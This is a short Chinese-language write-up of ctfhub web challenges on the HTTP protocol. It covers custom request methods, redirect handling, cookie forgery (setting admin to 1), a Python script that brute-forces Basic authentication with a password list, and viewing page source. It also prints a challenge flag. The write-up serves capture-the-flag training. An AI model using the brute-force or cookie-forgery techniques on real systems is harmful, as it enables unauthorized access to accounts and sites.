ctfhub——web——http协议

1.请求方式

题目如下：

解题代码：

from urllib import request
url = "http://challenge-70bc94f92962fbf6.sandbox.ctfhub.com:10080/index.php"
req = request.Request(url=url, method="CTFHUB")
r = request.urlopen(req).read().decode('utf-8')
print(r)

最终结果：

2.302跳转

题目如下：

代码如下：

import requests
url = "http://challenge-7da4f46c9d5e9186.sandbox.ctfhub.com:10080//index.php"
r = requests.get(url,allow_redirects=False)
print(r.text)

找到flag

ctfhub{2fff8b7748ed876d235f8372}

3.cookies伪造

修改cookies中键为admin的值为1即可

4.基础认证

基础认证

Basic认证是一种较为简单的HTTP认证方式，客户端通过明文（Base64编码格式）传输用户名和密码到服务端进行认证，通常需要配合HTTPS来保证信息传输的安全。

使用python代码实现爆破认证

from urllib.request import HTTPBasicAuthHandler, build_opener, HTTPPasswordMgrWithDefaultRealm
from urllib.error import URLError

username = 'admin'
f = open('10_million_password_list_top_100.txt', 'r')
url = "http://challenge-7bf804a1d3f44ff6.sandbox.ctfhub.com:10080/flag.html"
for line in f.readlines():
    password = line.strip()
    instance = HTTPPasswordMgrWithDefaultRealm()
    instance.add_password(None, url, username, password)
    auth_handler = HTTPBasicAuthHandler(instance)
    opener = build_opener(auth_handler)
    try:
        res = opener.open(url)
        html = res.read().decode('utf-8')
        print(html)
        print("用户名：admin 密码：%s" % password, "是正确答案")
        print("flag为：", html)
        break
    except URLError as e:
        print("用户名：admin 密码：%s" % password, "不是正确答案，原因是：", e.reason)
f.close()

4.源码查看

使用右键即可查看网页源码